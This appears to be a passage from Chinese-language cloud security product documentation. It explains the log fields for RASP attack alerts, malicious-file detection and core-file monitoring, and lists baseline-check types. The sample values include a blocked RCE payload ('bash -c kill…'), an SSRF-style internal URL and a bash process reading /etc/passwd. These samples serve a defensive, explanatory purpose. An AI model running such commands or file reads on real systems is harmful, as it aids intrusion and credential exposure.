headers	请求头信息。	{"content-length":"112","referer":"http://120.26.XX.XX:8080/demo/Serial","accept-language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","origin":"http://120.26.XX.XX:8080","host":"120.26.XX.XX:8080","content-type":"application/json","connection":"keep-alive","x-forwarded-for":"1.1.XX.XX","accept-encoding":"gzip, deflate","user-agent":"msnbot","accept":"application/json, text/plain, /"}
hostname	主机或网络设备的名称。	testhostname
ip	主机私网IP地址。	172.16.XX.XX
is_cliped	该条日志是否因为超长被裁剪过。取值： true：裁剪过。 false：未裁剪过。	false
jdk	JDK版本。	1.8.0_292
message	告警描述信息。	Unsafe class serial.
method	请求方法。	Post
os	操作系统类型。	Linux
os_arch	操作系统架构。	amd64
os_version	操作系统内核版本。	3.10.0-1160.59.1.el7.x86_64
param	请求参数，常见格式包括： GET参数。 application/x-www-form-urlencoded。	{"url":["http://127.0.0.1.xip.io"]}
payload	有效攻击载荷。	bash -c kill -0 -- -'31098'
payload_length	有效攻击载荷长度。	27
rasp_id	应用防护探针唯一ID。	fa00223c8420e256c0c98ca0bd0d****
rasp_version	应用防护探针版本。	0.4.3
remote	请求者IP地址。	172.0.XX.XX
result	告警处理结果。取值： block：防护，即阻断。 monitor：监控。	block
rule_result	规则指定的告警处理方式。取值： block。 monitor。	block
severity	风险级别。取值： high。 medium。 low。	high
stacktrace	堆栈信息。	[java.io.FileInputStream.<init>(FileInputStream.java:123), java.io.FileInputStream.<init>(FileInputStream.java:93), com.example.vulns.controller.FileController.IORead(FileController.java:75), sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method), sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)......]
time	触发告警的时间。	2023-10-09 15:19:15
timestamp	触发告警的时间戳，单位为毫秒。	1696835955070
type	漏洞类型。取值： attach：恶意Attach。 beans：恶意beans绑定。 classloader：恶意类加载。 dangerous_protocol：危险协议使用。 dns：恶意DNS查询。 engine：引擎注入。 expression：表达式注入。 file：恶意文件读写。 file_delete：任意文件删除。 file_list：目录遍历。 file_read：任意文件读取。 file_upload：恶意文件上传。 jndi：JNDI注入。 jni：JNI注入。 jstl：JSTL任意文件包含。 memory_shell：内存马注入。 rce：命令执行。 read_object：反序列化攻击。 reflect：恶意反射调用。 sql：SQL注入。 ssrf：恶意外连。 thread_inject：线程注入。 xxe：XXE攻击。	rce
url	请求URL。	http://127.0.0.1:999/xxx
rasp_attack_uuid	漏洞UUID。	18823b23-7ad4-47c0-b5ac-e5f036a2****
uuid	主机UUID。	23f7ca61-e271-4a8e-bf5f-165596a16****
internet_ip	主机公网IP地址。	1.2.XX.XX
intranet_ip	主机私网IP地址。	172.16.XX.XX
sas_group_name	云安全中心服务器分组名称。	分组1
instance_id	主机实例ID。	i-wz995eivg28f1m**

恶意文件检测日志

字段名	说明	示例
bucket_name	Bucket名称。	***-test
event_id	告警ID。	802210
event_name	告警名称。	挖矿程序
md5	文件的MD5值。	6bc2bc******53d409b1
sha256	文件的SHA256值。	f038f9525******7772981e87f85
result	检测结果。 0：文件安全。 1：存在恶意文件。	0
file_path	文件路径。	test.zip/bin_test
etag	OSS文件标识。	6BC2B******853D409B1
risk_level	风险等级。 serious：紧急。 suspicions：可疑。 remind：提醒。	remind
source	检测场景。 OSS：在云安全中心控制台执行对阿里云对象存储Bucket内文件的检测。 API：通过SDK接入的方式检测恶意文件，支持通过Java或Python方式接入。	OSS
parent_md5	父类文件或压缩包文件的MD5值。	3d0f8045bb9******
parent_sha256	父类文件或压缩包文件的SHA256值。	69b643d6******a3fb859fa
parent_file_path	父类文件或压缩包文件的名称。	test.zip
start_time	开始检测时间的时间戳。单位为秒。	1718678414

核心文件监控事件日志

字段名	说明	示例
start_time	事件的最新发生时间。单位为秒。	1718678414
uuid	客户端的UUID。	5d83b26b-ba-4a-9267-12****
file_path	文件路径。	/etc/passwd
proc_path	进程路径。	/usr/bin/bash
rule_id	命中规则ID。	123
rule_name	规则名称。	file_test_rule
cmdline	命令行。	bash /opt/a
operation	对文件的操作。	READ
risk_level	告警等级。	2
pid	进程ID。	45324
proc_permission	进程权限。	rwxrwxrwx
instance_id	实例ID。	i-wz995eivg2****
internet_ip	互联网IP。	192.0.2.1
intranet_ip	私网IP。	172.16.0.1
instance_name	实例名称。	aegis-test
platform	操作系统类型。	Linux

附录

基线类型及子类型列表

类型名称	子类型名称	描述
hc_exploit	hc_exploit_redis	高危风险利用-Redis未授权访问高危风险
	hc_exploit_activemq	高危风险利用-ActiveMQ未授权访问高危风险
	hc_exploit_couchdb	高危风险利用-CouchDB未授权访问高危风险
	hc_exploit_docker	高危风险利用-Docker未授权访问高危风险
	hc_exploit_es	高危风险利用-Elasticsearch未授权访问高危风险
	hc_exploit_hadoop	高危风险利用-Hadoop未授权访问高危风险
	hc_exploit_jboss	高危风险利用-Jboss未授权访问高危风险
	hc_exploit_jenkins	高危风险利用-Jenkins未授权访问高危风险
	hc_exploit_k8s_api	高危风险利用Kubernetes-Apiserver未授权访问高危风险
	hc_exploit_ldap	高危风险利用-LDAP未授权访问高危风险（Windows环境）
	hc_exploit_ldap_linux	高危风险利用-openLDAP未授权访问高危风险（Linux环境）
	hc_exploit_memcache	高危风险利用-Memcached未授权访问高危风险
	hc_exploit_mongo	高危风险利用-Mongodb未授权访问高危风险
	hc_exploit_pgsql	高危风险利用-Postgresql未授权访问高危风险基线
	hc_exploit_rabbitmq	高危风险利用-RabbitMQ未授权访问高危风险
	hc_exploit_rsync	高危风险利用-rsync未授权访问高危风险
	hc_exploit_tomcat	高危风险利用-Apache Tomcat AJP文件包含漏洞风险
	hc_exploit_zookeeper	高危风险利用-ZooKeeper未授权访问高危风险
hc_container	hc_docker	阿里云标准-Docker安全基线检查
	hc_middleware_ack_master	国际通用安全最佳实践-Kubernetes(ACK) Master节点安全基线检查
	hc_middleware_ack_node	国际通用安全最佳实践-Kubernetes(ACK) Node节点安全基线检查
	hc_middleware_k8s	阿里云标准-Kubernetes-Master安全基线检查
	hc_middleware_k8s_node	阿里云标准-Kubernetes-Node安全基线检查
cis	hc_suse 15_djbh	等保三级-SUSE 15合规基线检查
	hc_aliyun_linux3_djbh_l3	等保三级-Alibaba Cloud Linux 3合规基线检查
	hc_aliyun_linux_djbh_l3	等保三级-Alibaba Cloud Linux/Aliyun Linux 2合规基线检查
	hc_bind_djbh	等保三级-Bind合规基线检查
	hc_centos 6_djbh_l3	等保三级-CentOS Linux 6合规基线检查
	hc_centos 7_djbh_l3	等保三级-CentOS Linux 7合规基线检查
	hc_centos 8_djbh_l3	等保三级-CentOS Linux 8合规基线检查
	hc_debian_djbh_l3	等保三级-Debian Linux 8/9/10合规基线检查
	hc_iis_djbh	等保三级-IIS合规基线检查
	hc_informix_djbh	等保三级-Informix合规基线检查
	hc_jboss_djbh	等保三级-Jboss合规基线检查
	hc_mongo_djbh	等保三级-MongoDB合规基线检查
	hc_mssql_djbh	等保三级-SQL Server合规基线检查
	hc_mysql_djbh	等保三级-MySql合规基线检查
	hc_nginx_djbh	等保三级-Nginx合规基线检查
	hc_oracle_djbh	等保三级-Oracle合规基线检查
	hc_pgsql_djbh	等保三级-PostgreSql合规基线检查
	hc_redhat 6_djbh_l3	等保三级-Redhat Linux 6合规基线检查
	hc_redhat_djbh_l3	等保三级-Redhat Linux 7合规基线检查
	hc_redis_djbh	等保三级-Redis合规基线检查
	hc_suse 10_djbh_l3	等保三级-SUSE 10合规基线检查
	hc_suse 12_djbh_l3	等保三级-SUSE 12合规基线检查
	hc_suse_djbh_l3	等保三级-SUSE 11合规基线检查
	hc_ubuntu 14_djbh_l3	等保三级-Ubuntu 14合规基线检查
	hc_ubuntu_djbh_l3	等保三级-Ubuntu 16/18/20合规基线检查
	hc_was_djbh	等保三级-Websphere Application Server合规基线检查
	hc_weblogic_djbh	等保三级-Weblogic合规基线检查
	hc_win 2008_djbh_l3	等保三级-Windows 2008 R2合规基线检查
	hc_win 2012_djbh_l3	等保三级-Windows 2012 R2合规基线检查
	hc_win 2016_djbh_l3	等保三级-Windows 2016/2019 合规基线检查
	hc_aliyun_linux_djbh_l2	等保二级-Alibaba Cloud Linux/Aliyun Linux 2合规基线检查
	hc_centos 6_djbh_l2	等保二级-CentOS Linux 6合规基线检查
	hc_centos 7_djbh_l2	等保二级-CentOS Linux 7合规基线检查
	hc_debian_djbh_l2	等保二级-Debian Linux 8合规基线检查
	hc_redhat 7_djbh_l2	等保二级-Redhat Linux 7合规基线检查
	hc_ubuntu_djbh_l2	等保二级-Ubuntu16/18合规基线检查
	hc_win 2008_djbh_l2	等保二级-Windows 2008 R2合规基线检查
	hc_win 2012_djbh_l2	等保二级-Windows 2012 R2合规基线检查
	hc_win 2016_djbh_l2	等保二级-Windows 2016/2019 合规基线检查
	hc_aliyun_linux_cis	国际通用安全最佳实践-Alibaba Cloud Linux/Aliyun Linux 2安全基线检查
	hc_centos 6_cis_rules	国际通用安全最佳实践-CentOS Linux 6安全基线检查
	hc_centos 7_cis_rules	国际通用安全最佳实践-CentOS Linux 7安全基线检查
	hc_centos 8_cis_rules	国际通用安全最佳实践-CentOS Linux 8安全基线检查
	hc_debian 8_cis_rules	国际通用安全最佳实践-Debian Linux 8安全基线检查
	hc_ubuntu 14_cis_rules	国际通用安全最佳实践-Ubuntu 14安全基线检查
	hc_ubuntu 16_cis_rules	国际通用安全最佳实践-Ubuntu 16/18/20安全基线检查
	hc_win 2008_cis_rules	国际通用安全最佳实践-Windows Server 2008 R2安全基线检查
	hc_win 2012_cis_rules	国际通用安全最佳实践-Windows Server 2012 R2安全基线检查
	hc_win 2016_cis_rules	国际通用安全最佳实践-Windows Server 2016/2019 R2安全基线检查
	hc_kylin_djbh_l3	等保三级-麒麟合规基线检查
	hc_uos_djbh_l3	等保三级-Uos合规基线检查
hc_best_security	hc_aliyun_linux	阿里云标准-Alibaba Cloud Linux/Aliyun Linux 2安全基线检查
	hc_centos 6	阿里云标准-CentOS Linux 6安全基线检查
	hc_centos 7	阿里云标准-CentOS Linux 7/8安全基线检查
	hc_debian	阿里云标准-Debian Linux 8/9/10安全基线检查
	hc_redhat 6	阿里云标准-Redhat Linux 6安全基线检查
	hc_redhat 7	阿里云标准-Redhat Linux 7/8安全基线检查
	hc_ubuntu	阿里云标准-Ubuntu安全基线检查
	hc_windows_2008	阿里云标准-Windows 2008 R2安全基线检查
	hc_windows_2012	阿里云标准-Windows 2012 R2安全基线检查
	hc_windows_2016	阿里云标准-Windows 2016/2019 安全基线检查
	hc_db_mssql	阿里云标准-SQL server安全基线检查
	hc_memcached_ali	阿里云标准-Memcached安全基线检查
	hc_mongodb	阿里云标准-MongoDB 3.x版本安全基线检查
	hc_mysql_ali	阿里云标准-Mysql安全基线检查
	hc_oracle	阿里云标准-Oracle 11g安全基线检查
	hc_pgsql_ali	阿里云标准-PostgreSql安全基线检查
	hc_redis_ali	阿里云标准-Redis安全基线检查
	hc_apache	阿里云标准-Apache安全基线检查
	hc_iis_8	阿里云标准-IIS 8安全基线检查
	hc_nginx_linux	阿里云标准-Nginx安全基线检查
	hc_suse 15	阿里云标准-SUSE Linux 15安全基线检查
	tomcat 7	阿里云标准-Apache Tomcat 安全基线检查
weak_password	hc_mongodb_pwd	弱口令-MongoDB登录弱口令检测（支持2.x版本）
	hc_weakpwd_ftp_linux	弱口令-FTP登录弱口令检查
	hc_weakpwd_linux_sys	弱口令-Linux系统登录弱口令检查
	hc_weakpwd_mongodb 3	弱口令-MongoDB登录弱口令检测
	hc_weakpwd_mssql	弱口令-SQL Server数据库登录弱口令检查
	hc_weakpwd_mysql_linux	弱口令-Mysql数据库登录弱口令检查
	hc_weakpwd_mysql_win	弱口令-Mysql数据库登录弱口令检查（Windows版）
	hc_weakpwd_openldap	弱口令-Openldap登录弱口令检查
	hc_weakpwd_oracle	弱口令-Oracle登录弱口令检测
	hc_weakpwd_pgsql	弱口令-PostgreSQL数据库登录弱口令检查
	hc_weakpwd_pptp	弱口令-pptpd服务登录弱口令检查
	hc_weakpwd_redis_linux	弱口令-Redis数据库登录弱口令检查
	hc_weakpwd_rsync	弱口令-rsync服务登录弱口令检查
	hc_weakpwd_svn	弱口令-svn服务登录弱口令检查
	hc_weakpwd_tomcat_linux	弱口令-Apache Tomcat控制台弱口令检查
	hc_weakpwd_vnc	弱口令-VncServer弱口令检查
	hc_weakpwd_weblogic	弱口令-Weblogic 12c登录弱口令检测
	hc_weakpwd_win_sys	弱口令-Windows系统登录弱口令检查

日志类别及字段说明V1.0